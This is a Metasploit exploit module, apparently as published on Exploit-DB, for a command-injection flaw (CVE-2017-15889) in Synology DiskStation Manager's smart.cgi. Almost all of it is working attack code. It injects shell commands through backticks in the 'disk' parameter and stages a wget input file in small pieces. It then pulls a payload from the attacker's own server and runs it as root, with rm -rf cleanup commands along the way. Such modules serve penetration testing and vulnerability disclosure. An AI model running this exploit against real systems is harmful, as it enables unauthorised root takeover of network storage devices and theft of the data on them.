Synology DiskStation Manager - smart.cgi Remote Command Execution (Metasploit)

EDB-ID:

48514




Platform:

Hardware

Date:

2020-05-25


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper

  DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+)
                        &junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Synology DiskStation Manager smart.cgi Remote Command Execution',
        'Description' => %q{
          This module exploits a vulnerability found in Synology DiskStation Manager (DSM)
          versions < 5.2-5967-5, which allows the execution of arbitrary commands under root
          privileges after website authentication.
          The vulnerability is located in webman/modules/StorageManager/smart.cgi, which
          allows appending of a command to the device to be scanned.  However, the command
          with drive is limited to 30 characters.  A somewhat valid drive name is required,
          thus /dev/sd is used, even though it doesn't exist.  To circumvent the character
          restriction, a wget input file is staged in /a, and executed to download our payload
          to /b.  From there the payload is executed.  A wfsdelay is required to give time
          for the payload to download, and the execution of it to run.
        },
        'Author' =>
          [
            'Nigusu Kassahun', # Discovery
            'h00die' # metasploit module
          ],
        'References' =>
          [
            [ 'CVE', '2017-15889' ],
            [ 'EDB', '43190' ],
            [ 'URL', 'https://ssd-disclosure.com/ssd-advisory-synology-storagemanager-smart-cgi-remote-command-execution/' ],
            [ 'URL', 'https://synology.com/en-global/security/advisory/Synology_SA_17_65_DSM' ]
          ],
        'Privileged' => true,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Platform' => ['python'],
        'Arch' => [ARCH_PYTHON],
        'Targets' =>
          [
            ['Automatic', {}]
          ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PrependMigrate' => true,
          'WfsDelay' => 10
        },
        'License' => MSF_LICENSE,
        'DisclosureDate' => 'Nov 08 2017'
      )
    )

    register_options(
      [
        Opt::RPORT(5000),
        OptString.new('TARGETURI', [true, 'The URI of the Synology Website', '/']),
        OptString.new('USERNAME', [true, 'The Username for Synology', 'admin']),
        OptString.new('PASSWORD', [true, 'The Password for Synology', ''])
      ]
    )

    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ]
  end

  def check
    vprint_status('Trying to detect installed version')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'webman', 'info.cgi'),
      'vars_get' => { 'host' => '' }
    })

    if res && (res.code == 200) && res.body =~ DEVICE_INFO_PATTERN
      version = "#{$LAST_MATCH_INFO[:major]}.#{$LAST_MATCH_INFO[:minor]}"
      build = $LAST_MATCH_INFO[:build]
      model = $LAST_MATCH_INFO[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
      model = "DS#{model}" unless model =~ /^[A-Z]/
    else
      vprint_error('Detection failed')
      return CheckCode::Unknown
    end

    vprint_status("Model #{model} with version #{version}-#{build} detected")

    case version
    when '3.0', '4.0', '4.1', '4.2', '4.3', '5.0', '5.1'
      return CheckCode::Appears
    when '5.2'
      return CheckCode::Appears if build < '5967-5'
    end

    CheckCode::Safe
  end

  def on_request_uri(cli, _request, cookie, token)
    print_good('HTTP Server request received, sending payload')
    send_response(cli, payload.encoded)
    print_status('Executing payload')
    inject_request(cookie, token, 'python b')
  end

  def inject_request(cookie, token, cmd = '')
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'webman', 'modules', 'StorageManager', 'smart.cgi'),
      'cookie' => cookie,
      'headers' => {
        'X-SYNO-TOKEN' => token
      },
      'vars_post' => {
        'action' => 'apply',
        'operation' => 'quick',
        'disk' => "/dev/sd`#{cmd}`"
      }
    })
  end

  def login
    # If you try to debug login through the browser, you'll see that desktop.js calls
    # ux-all.js to do an RSA encrypted login.
    # Wowever in a stroke of luck Mrs. h00die caused
    # a power sag while tracing/debugging the loging, causing the NAS to power off.
    # when that happened, it failed to get the crypto vars, and defaulted to a
    # non-encrypted login, which seems to work just fine.  greetz Mrs. h00die!

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'webman', 'login.cgi'),
      'vars_get' => { 'enable_syno_token' => 'yes' },
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'passwd' => datastore['PASSWORD'],
        'OTPcode' => '',
        '__cIpHeRtExT' => '',
        'client_time' => Time.now.to_i,
        'isIframeLogin' => 'yes'
      }
    })
    if res && %r{<div id='synology'>(?<json>.*)</div>}m =~ res.body
      result = JSON.parse(json)

      fail_with(Failure::BadConfig, 'Incorrect Username/Password') if result['result'] == 'error'
      if result['result'] == 'success'
        return res.get_cookies, result['SynoToken']
      end

      fail_with(Failure::Unknown, "Unknown response: #{result}")
    end
  end

  def exploit
    unless check == CheckCode::Appears
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if datastore['SRVHOST'] == '0.0.0.0'
      fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
    end

    begin
      print_status('Attempting Login')
      cookie, token = login

      start_service({ 'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req, cookie, token)
        end,
        'Path' => '/'
      } })

      print_status('Cleaning env')
      inject_request(cookie, token, cmd = 'rm -rf /a')
      inject_request(cookie, token, cmd = 'rm -rf b')
      command = "#{datastore['SRVHOST']}:#{datastore['SRVPORT']}".split(//)
      command_space = 22 - "echo -n ''>>/a".length
      command_space -= 1
      command.each_slice(command_space) do |a|
        a = a.join('')
        vprint_status("Staging wget with: echo -n '#{a}'>>/a")
        inject_request(cookie, token, cmd = "echo -n '#{a}'>>/a")
      end
      print_status('Requesting payload pull')
      register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b')
      register_file_for_cleanup('/a')
      inject_request(cookie, token, cmd = 'wget -i /a -O b')
      # at this point we let the HTTP server call the last stage
      # wfsdelay should be long enough to hold out for everything to download and run
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end

  end
end